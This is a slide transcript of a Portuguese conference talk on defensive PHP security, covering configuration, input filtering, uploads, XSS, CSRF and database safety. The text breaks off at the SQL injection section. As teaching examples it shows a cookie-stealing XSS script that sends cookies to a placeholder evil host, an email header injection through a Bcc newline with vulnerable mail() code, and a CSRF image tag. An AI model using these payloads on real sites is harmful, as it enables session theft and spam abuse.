[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
-
Upload
rafael-jaques -
Category
Technology
-
view
8.627 -
download
0
Transcript of [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
![Page 1: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/1.jpg)
PHP no Campo de Batalha Segurança Avançada e Programação Defensiva
Rafael Jaques @rafajaques
![Page 2: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/2.jpg)
“Porque Deus amou o mundo de tal maneira que deu o seu Filho Unigênito, para que todo aquele que nele crê não pereça,
mas tenha a vida eterna. Portanto, Deus enviou o seu Filho ao mundo não para condenar o mundo, mas para que o mundo
fosse salvo por meio dele.” (João 3.16-17)
![Page 3: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/3.jpg)
Rafael Jaques
Professor do Instituto Federal de Educação, Ciência e Tecnologia do Rio Grande do Sul.
Graduado em Análise e Desenvolvimento de Sistemas. Pós-graduado em Gestão e Docência do Ensino Superior.
Desenvolvedor web e viciado em segurança.
![Page 5: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/5.jpg)
Slides da Palestra
![Page 6: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/6.jpg)
1 Segurança da informação
![Page 7: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/7.jpg)
Pontos-chave da SI
Integridade Confidencialidade
Disponibilidade
![Page 8: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/8.jpg)
COMO VOU DESENVOLVER UMA APLICAÇÃO COM
TUDO ISSO?!?!?!?!?!?!
![Page 9: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/9.jpg)
Vamos por partes!
![Page 10: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/10.jpg)
Tudo começa com planejamento!
![Page 11: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/11.jpg)
2 Planejamento
![Page 12: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/12.jpg)
PlanejamentoProjete o seu sistema
Estude antes de implementar
Revise o que foi feito
Conheça o seu ambiente
![Page 13: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/13.jpg)
PlanejamentoProjete o seu sistema
Estude antes de implementar
Revise o que foi feito
Conheça o seu ambiente
![Page 14: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/14.jpg)
Conheça o seu ambiente
![Page 15: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/15.jpg)
php.ini
Conheça o seu ambiente
phpinfo()
php.net/manual/ini.php
![Page 16: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/16.jpg)
Conheça o seu ambiente
![Page 17: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/17.jpg)
Altere as configurações do php.ini
ini_set() httpd.conf
.htaccess php.ini
Conheça o seu ambiente
![Page 18: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/18.jpg)
Gerenciamento de erros do PHP
display_errors
log_errors error_log
Conheça o seu ambiente
![Page 19: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/19.jpg)
Conhecer o sistema inclui saber os
problemas do servidor!
![Page 20: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/20.jpg)
Problemas no servidor
Defesa em profundidade
![Page 21: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/21.jpg)
Problemas no servidor
Lei do menor privilégio
![Page 22: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/22.jpg)
3 Melhorando o código desenvolvido
![Page 23: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/23.jpg)
Como desenvolver um bom código?
![Page 24: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/24.jpg)
Tudo começa com
BOAS PRÁTICAS
![Page 25: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/25.jpg)
Warning: Cannot modify header information - headers already sent by (output started at /path/to/script.php:1) in script.php on line 55
Omita as tags de fechamento
Boas práticas
![Page 26: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/26.jpg)
Utilize extensões consistentes
Boas práticas
.php
.inc.php
.inc.php~
.bak
httpd.conf AddType application/x-httpd-php .php .phtml
![Page 27: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/27.jpg)
DRY Don’t repeat yourself
Boas práticas
![Page 28: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/28.jpg)
== != === Cuidado ao efetuar comparações
Boas práticas
“1” == 1
“1” === 1
true == 1
True
False
true === 1
NULL == false
NULL === falseTrue
True
False
False
![Page 29: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/29.jpg)
Nunca edite arquivos em produção
Boas práticas
![Page 30: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/30.jpg)
Funções perigosas
exec( )Não execute bobagem no seu sistema
shell_exec( )
system( ) passthru( )
proc_*( )
escapeshellcmd( ) escapeshellarg( )
![Page 31: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/31.jpg)
eval( )Não execute bobagem no seu código
Funções perigosas
![Page 32: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/32.jpg)
Seu ambiente também precisa de cuidado e atenção
![Page 33: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/33.jpg)
Configuração do ambiente
HeadersPodem denunciar o seu servidor
expose_php php.ini
![Page 34: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/34.jpg)
Apache
ServerTokens
Prod Major Minor Min Os Full
Configuração do ambiente
![Page 35: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/35.jpg)
Gerenciar os erros pode
salvar seu dia!
![Page 36: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/36.jpg)
Gerenciamento de erros
display_errors
error_reporting
log_errors
error_log
Mostrar erros na tela
Nível de erro mostrado
Logar erros
Arquivo de log
![Page 37: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/37.jpg)
set_error_handler( )
error_log( )
Indica uma função para manipular erros
Loga um erro personalizado
Gerenciamento de erros
![Page 38: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/38.jpg)
4 Filtragem de dados
![Page 39: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/39.jpg)
Filtragem de dados
Bypass
Mistake Origin
![Page 40: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/40.jpg)
isset( )is_array( )
is_bool( )
is_float( )
is_int( )
is_null( )
is_numeric( )
is_object( )
is_string( )
Filtragem de dados
![Page 41: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/41.jpg)
Type CastingAssegure-se dos tipos de dados
$numero = (int) $variavel;
$numero = (float) $variavel;
Filtragem de dados
![Page 42: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/42.jpg)
Type Casting
Assegure-se dos tipos de dados
$numero = settype($variavel, ‘integer’);
$bool = settype($variavel, ‘boolean’);
$texto = settype($variavel, ‘string’);
Filtragem de dados
![Page 43: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/43.jpg)
Type Casting
Assegure-se dos tipos de dados
$numero = intval($variavel);
$numero = floatval($variavel);
$texto = strval($variavel);
Filtragem de dados
![Page 44: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/44.jpg)
ValidateSanitizefilter_var( )
Validating && SanitizingBloqueie valores indesejados
Filtragem de dados
![Page 45: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/45.jpg)
filter_var( )
php.net/filter.filters
FILTER_VALIDATE_* FILTER_SANITIZE_*
Validação de dados Verifica se
determinado valor encontra-se dentro dos parâmetros esperados.
Limpeza de dados Retira de um
determinado valor todos os caracteres que
não são permitidos.
![Page 46: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/46.jpg)
Validaçãofilter_var( , )$valor CONSTANTE_FILTRO
Valor filtrado
bool(false)
![Page 47: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/47.jpg)
ValidaçãoFILTER_VALIDATE_INT
“7”
7
0
true
false
int(7)
int(7)
int(0)
int(1)
bool(false)
“10 teste”
“palavra”
-5
3.1
bool(false)
bool(false)
int(-5)
bool(false)
bool(false)+0 || -0
![Page 48: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/48.jpg)
ValidaçãoFILTER_VALIDATE_EMAIL
“[email protected]" string(12) “[email protected]” “[email protected]" bool(false)
5 bool(false) “1@2” bool(false)
“phpit.com.br” bool(false) “joao quem”@site.com bool(false)
![Page 49: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/49.jpg)
ValidaçãoFILTER_VALIDATE_FLOAT
php.net/filter.filters.validate
FILTER_VALIDATE_BOOLEAN
FILTER_VALIDATE_IP
FILTER_VALIDATE_URL
![Page 50: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/50.jpg)
Limpeza
FILTER_SANITIZE_URL
http://phpit.com.br
http://phpit.com.br£
phpitº.com.br
br¶
§
string(19) "http://phpit.com.br"
string(19) "http://phpit.com.br"
string(12) "phpit.com.br"
string(2) "br"
string(0) ""
![Page 51: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/51.jpg)
FILTER_SANITIZE_STRING
uma string string(10) "uma string"
string(12) "uma string *"
string(21) "uma string<tag>"
Limpeza
<tag>uma string *
<tag>uma string<tag>
![Page 52: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/52.jpg)
LimpezaFILTER_SANITIZE_EMAIL
php.net/filter.filters.validate
FILTER_SANITIZE_SPECIAL_CHARS
FILTER_SANITIZE_ENCODED
FILTER_SANITIZE_NUMBER_INT
![Page 53: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/53.jpg)
Cuidados com
Formulários
![Page 54: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/54.jpg)
Spoofed Form Submissions
Cuidados com formulários
![Page 55: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/55.jpg)
Spoofed HTTP Requests
Cuidados com formulários
![Page 56: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/56.jpg)
Abuso de form mail
Cuidados com formulários
![Page 57: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/57.jpg)
Abuso de form mail<?php
$cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>";
$para = "[email protected]";
$assunto = "Contato via site"; $corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);
![Page 58: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/58.jpg)
Abuso de form mail
From: Fulaninho <[email protected]>
Subject: Contato via site
Esta é a mensagem do e-mail
E s p e r a d o
Fulaninho\nBcc: [email protected], [email protected],
![Page 59: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/59.jpg)
Abuso de form mail
From: Fulaninho Bcc: [email protected], [email protected], <[email protected]>
Subject: Contato via site
Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim!
P o s s í v e l
![Page 60: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/60.jpg)
5 Upload de arquivos
![Page 61: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/61.jpg)
MIME Type do $_FILES
Upload de arquivos
![Page 62: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/62.jpg)
Algoritmo de
Análise de Conteúdo
![Page 63: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/63.jpg)
Verificar o tipo da imagem
exif_imagetype( )
Upload de arquivos
![Page 64: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/64.jpg)
php.net/function.exif-imagetype
Upload de arquivos
![Page 65: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/65.jpg)
Ressalvar imagens
Upload de arquivos
![Page 66: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/66.jpg)
Diretivas de upload
upload_max_filesize
post_max_size
Upload de arquivos
![Page 67: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/67.jpg)
rafajaques Palestra de PHP
exemplo.txt
Upload de arquivos
![Page 68: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/68.jpg)
Array ( [arquivo] => Array ( [name] => exemplo.txt [type] => text/plain [tmp_name] => /tmp/php3IdMTx [error] => 0 [size] => 33 ) )
Upload de arquivos
![Page 69: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/69.jpg)
POST /upload.php HTTP/1.1 Host: localhost Content-‐Type: multipart/form-‐data; boundary=-‐-‐-‐-‐12345 Content-‐Length: 413
-‐-‐-‐-‐12345 Content-‐Disposition: form-‐data; name="arquivo"; filename="exemplo.txt" Content-‐Type: text/plain
rafajaques Palestra de PHP
-‐-‐-‐-‐12345-‐-‐
Upload de arquivos
![Page 70: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/70.jpg)
Movendo arquivos enviados
is_uploaded_file( )
move_uploaded_file( )
Upload de arquivos
![Page 71: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/71.jpg)
6 Injeção de código
![Page 72: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/72.jpg)
XSSCross-Site Scripting
![Page 73: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/73.jpg)
XSS Cross-Site Scripting
<script>
document.location = "http://sitedomal.com?c=" + document.cookie
</script>
![Page 74: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/74.jpg)
XSS Cross-Site Scripting
Filtrar dados externos
Utilize as funções de filtro
Utilize uma white-list
![Page 75: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/75.jpg)
htmlentities( ) strip_tags( )
XSS Cross-Site Scripting
Utilize as funções de filtro
utf8_decode( ) filter_var( )
![Page 76: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/76.jpg)
XSS Cross-Site Scripting
Cuidado com injeção de CSS
expression( ) url( ) Métodosespecíficos moz-
binding
![Page 77: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/77.jpg)
CSRFCross-Site Request Forgery
![Page 78: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/78.jpg)
CSRF Cross-Site Request Forgery
http://meusite.com/voto.php?id=1
<img src="http://meusite.com/voto.php?id=1" />
![Page 79: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/79.jpg)
CSRF Cross-Site Request Forgery
Exigir um token
Solicitar reautenticação
Prefira POST em vez de GET
Limite o tempo de sessão
Verificar Referer Force o uso de seus formulários
uniqid( )
$_SERVER['HTTP_REFERER']
![Page 80: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/80.jpg)
Outros tipos de injeçãoXPath LDAP
Bibliotecas de terceiros
Upload de arquivos
![Page 81: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/81.jpg)
Indo além da
Validação de dados
![Page 82: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/82.jpg)
Além da validação
Regras de negócio
Filtrou a entrada? Filtre a saída!
Não confie nos cookies!
![Page 83: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/83.jpg)
7 Segurança em bancos de dados
![Page 84: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/84.jpg)
SGBDs suportados pelo PHP
php.net/refs.database
dBaseDB++CUBRID
FrontBaseFireBird/InterbasefilePro
IngresInformixIBM DB2
mSQLMongoMaxDB
OracleMySQLM$ SQL
PostgreSQLParadoxOvrimos SQL
Tokyo TyrantSybaseSQLite
![Page 85: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/85.jpg)
Conceitos básicos de
segurança em
Bancos de Dados
![Page 86: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/86.jpg)
Lei do
Menor Privilégio
![Page 87: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/87.jpg)
Não permita
Acesso Remoto
![Page 88: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/88.jpg)
Prefira utilizar
UTF-8
![Page 89: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/89.jpg)
Escapar caracteres
não é seguro
mysql_real_escape_string( )
addslashes( )
![Page 90: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/90.jpg)
SQL e Blind SQL
Injection
![Page 91: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/91.jpg)
SQLInjection
![Page 92: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/92.jpg)
SQL Injection
Injeção de código SQL arbitrário dentro de uma consulta legítima.
![Page 93: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/93.jpg)
SQL Injection
